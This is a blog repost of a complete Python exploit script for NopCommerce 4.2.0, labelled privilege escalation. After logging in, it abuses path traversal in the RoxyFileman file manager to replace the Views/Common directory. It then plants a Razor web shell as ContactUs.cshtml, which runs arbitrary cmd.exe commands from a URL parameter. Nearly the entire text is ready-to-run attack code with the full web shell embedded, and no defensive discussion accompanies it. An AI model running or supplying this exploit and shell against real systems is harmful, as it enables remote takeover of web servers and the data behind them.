Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863101037

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Vulnerability Title: NopCommerce 4.2.0 -  Privilege Escalation
# Author: Alessandro Magnosi (d3adc0de)
# Date: 2019-07-07
# Vendor Homepage: https://www.nopcommerce.com/
# Software Link : https://www.nopcommerce.com/
# Tested Version: 4.2.0
# Vulnerability Type: Privilege Escalation
# Tested on OS: Windows 10, CentOS, Docker
# Exploit designed for: NopCommerce 4.2.0 on IIS

import requests
import argparse
from bs4 import BeautifulSoup
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import warnings
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')

def proxy(flag):
    return {"http" : "http://127.0.0.1:9090", "https" : "http://127.0.0.1:9090"} if flag else None

def geturl(baseurl, type):
    if type == "login":
        return baseurl + "/login"
    elif type == "mv":
        return baseurl + "/Admin/RoxyFileman/ProcessRequest?a=RENAMEDIR&d=%2fimages%2fuploaded%2f..%2F..%2F..%2F..%2F..%2F..%2F..%2Finetpub%2fwwwroot%2fnopcommerce%2fViews%2fCommon%2f&n=Common2"
    elif type == "mkdir":	
        return baseurl + "/Admin/RoxyFileman/ProcessRequest?a=CREATEDIR&d=%2fimages%2fuploaded%2f..%2F..%2F..%2F..%2F..%2F..%2F..%2Finetpub%2fwwwroot%2fnopcommerce%2fViews%2f&n=Common"
    elif type == "put":	
        return baseurl + "/Admin/RoxyFileman/ProcessRequest?a=UPLOAD"
    elif type == "contactus":    
        return baseurl + "/contactus"
    else:
        return ""

def login(email, password, url, proxy):
    res = requests.get(geturl(url, "login"), proxies=proxy, verify=False, allow_redirects=False)
    cookie = res.cookies.get_dict()
    soup = BeautifulSoup(res.text, features="html.parser")
    token = soup.find("input", {"name":"__RequestVerificationToken"})["value"]
    res = requests.post(geturl(url, "login"), cookies=cookie, data={"Email":email, "Password":password, "__RequestVerificationToken":token, "RememberMe":"false"}, proxies=proxy, verify=False, allow_redirects=False)
    cookies = res.cookies.get_dict()
    return { **cookies, **cookie }

def shellupload(email, password, url, proxy):
    print("[+] Trying uploading shell from")	
    cookies = login(email, password, url, proxy)
    # Rename Common Directory
    requests.get(geturl(url, "mv"), headers={"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0"}, proxies=proxy, cookies=cookies, verify=False, allow_redirects=False)
    # Create Common Directory
    requests.get(geturl(url, "mkdir"), headers={"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0"}, proxies=proxy, cookies=cookies, verify=False, allow_redirects=False)
    # Upload File into Common
    requests.post(geturl(url, "put"), headers={"Content-Type" : "multipart/form-data; boundary=---------------------------3125261928760" ,"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0"}, data="-----------------------------3125261928760\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nupload\r\n-----------------------------3125261928760\r\nContent-Disposition: form-data; name=\"method\"\r\n\r\najax\r\n-----------------------------3125261928760\r\nContent-Disposition: form-data; name=\"d\"\r\n\r\n/images/uploaded/../../../../../../../../../../inetpub/wwwroot/nopcommerce/Views/Common/\r\n-----------------------------3125261928760\r\nContent-Disposition: form-data; name=\"files[]\"; filename=\"ContactUs.cshtml\"\r\nContent-Type: image/png\r\n\r\n@using System\r\n@using System.Diagnostics\r\n\r\n@{ \r\n    ViewData[\"Title\"] = \"MVC Sh3ll Windows\";\r\n    var result = \"\";\r\n    var cmd = Context.Request.Query[\"cmd\"];\r\n    if (!String.IsNullOrEmpty(cmd)){\r\n        result = Bash(cmd);\r\n    }\r\n\r\n    if (String.IsNullOrEmpty(result)){\r\n        result = \"Invalid command or something didn't work\";\r\n    }\r\n\r\n}\r\n\r\n@functions{\r\n    public static string Bash (string cmd)\r\n    {\r\n        var result = \"\";\r\n        var escapedArgs = cmd.Replace(\"\\\"\", \"\\\\\\\"\");\r\n        var process = new Process()\r\n        {\r\n            StartInfo = new ProcessStartInfo\r\n            {\r\n                FileName = \"cmd.exe\",\r\n                Arguments = $\"/C \\\"{escapedArgs}\\\"\",\r\n                RedirectStandardOutput = true,\r\n                UseShellExecute = false,\r\n                CreateNoWindow = true,\r\n            }\r\n        };\r\n\r\n        process.Start();\r\n        result = process.StandardOutput.ReadToEnd();\r\n        process.WaitForExit();\r\n\r\n        return result;\r\n    }\r\n}\r\n\r\n\r\n\r\n<script\r\n  src=\"https://code.jquery.com/jquery-3.2.1.min.js\"\r\n  integrity=\"sha256-hwg4gsxgFZhOsEEamdOYGBf13FyQuiTwlAQgxVSNgt4=\"\r\n  crossorigin=\"anonymous\"></script>\r\n<script>\r\n$(function() {\r\n    var cmdResult = $(\"#cmdResult\");\r\n\r\n\tconsole.log(cmdResult);\r\n\r\n\tif (cmdResult.text() === \"Invalid command or something didn't work\"){\r\n\t    console.log(\"should change text\");\r\n        cmdResult.css(\"color\", \"red\");\r\n\t}\r\n\t\r\n\tvar term = $(\"#console\");\r\n    $(\"#cmd\").focus();\r\n\tterm.scrollTop(term.prop(\"scrollHeight\"));\r\n\t\r\n\t$.urlParam = function(name){\r\n        var results = new RegExp('[\\?&]' + name + '=([^&#]*)').exec(window.location.href);\r\n        if (results==null){\r\n           return null;\r\n        }\r\n        else{\r\n           return decodeURI(results[1]) || 0;\r\n        }\r\n    }\r\n\r\n\t\r\n\tfunction executeCmd(){\r\n        var cmd = encodeURIComponent($(\"#cmd\").val());\r\n\t    var currentCmd = $.urlParam('cmd');\r\n\t    console.log(\"should replace: \" + currentCmd + \" WITH: \" + cmd);\r\n\r\n\t    var currentUrl = location.href;\r\n\r\n\t    var paramDelimeter = \"\";\r\n\t    if (currentUrl.indexOf(\"?\") < 0){\r\n\t        paramDelimeter = \"?\";\r\n\t    } else {\r\n\t        paramDelimeter = \"&\";\r\n\t    }\r\n        \r\n\t    if (currentUrl.indexOf(\"cmd=\") < 0){\r\n            currentUrl = location.href + paramDelimeter + \"cmd=\";\r\n\t    }\r\n\t\r\n        var newUrl = currentUrl.replace(/cmd=.*/, \"cmd=\"+cmd);\r\n        window.location.href = newUrl;\r\n\r\n\t    //console.log(newUrl);\r\n\t}\r\n\t\r\n    $(\"#submitCommand\").click(function(){\r\n\t    executeCmd();\r\n\t})\r\n\r\n\t$(\"#cmd\").keypress(function (e) {\r\n\t    if (e.which == 13) {\r\n\t        executeCmd();\r\n\t        return false;\r\n\t    }\r\n\t});\r\n\r\n\t$(\"#cmd\").on(\"change paste keyup\", function(theVal){\r\n\t    var cmd = $(\"#cmd\").val();\r\n\t    $(\"#cmdInput\").text(cmd);\r\n\t});\r\n});\r\n\r\n</script>\r\n\r\n\r\n<h3>@ViewData[\"Title\"].</h3>\r\n<h4>@ViewData[\"Message\"]</h4>\r\n<h4>Output for:> <span style=\"font-family: monospace; font-weight: normal;\">@cmd</span></h4>\r\n\r\n\r\n<pre id=\"console\" style=\"color: #00ff00;background-color: #141414;max-height: 606px;\">\r\nC#:>@cmd\r\n\t\r\n<span id=\"cmdResult\">@result</span>\r\n\t\r\nC#:><span id=\"cmdInput\"></span>\r\n</pre>\r\n\r\n<br />\r\n\r\n<p>Enter your command below:</p>\r\n<span style=\"display: inline-flex !important;\">\r\n    <input  id=\"cmd\" class=\"form-control\" type=\"text\" style=\"width: 400px;\" /> \r\n\t<button id=\"submitCommand\" class=\"btn btn-primary\">Send!</button>\r\n</span>\r\n\r\n-----------------------------3125261928760--", proxies=proxy, cookies=cookies, verify=False, allow_redirects=False)
    # Test if it is working
    res = requests.get(geturl(url, "contactus"), headers={"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0"}, proxies=proxy, cookies=cookies, verify=False, allow_redirects=False)
    soup = BeautifulSoup(res.text, features="html.parser")
    test = soup.find("span", {"id" : "cmdResult"})
    if test is None:
        print("[-] Maybe the target is not vulnerable, or you need to restart the appliance")
    else:
        print("[+] Shell uploaded under contact us page")

def main():
    parser = argparse.ArgumentParser(description='Upload a shell in NopCommerce')
    parser.add_argument(
        '-e', '--email', required=True, type=str, help='Username')
    parser.add_argument(
        '-p', '--password', required=True, type=str, help='Password')
    parser.add_argument(
        '-u', '--url', required=True, type=str, help='Base Url of NopCommerce')
    parser.add_argument(
        '-x', '--proxy', required=False, action="store_true", help='Proxy (for debugging)')

    args = parser.parse_args()

    shellupload(args.email, args.password, args.url, proxy(args.proxy))

if __name__ == '__main__':
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    main()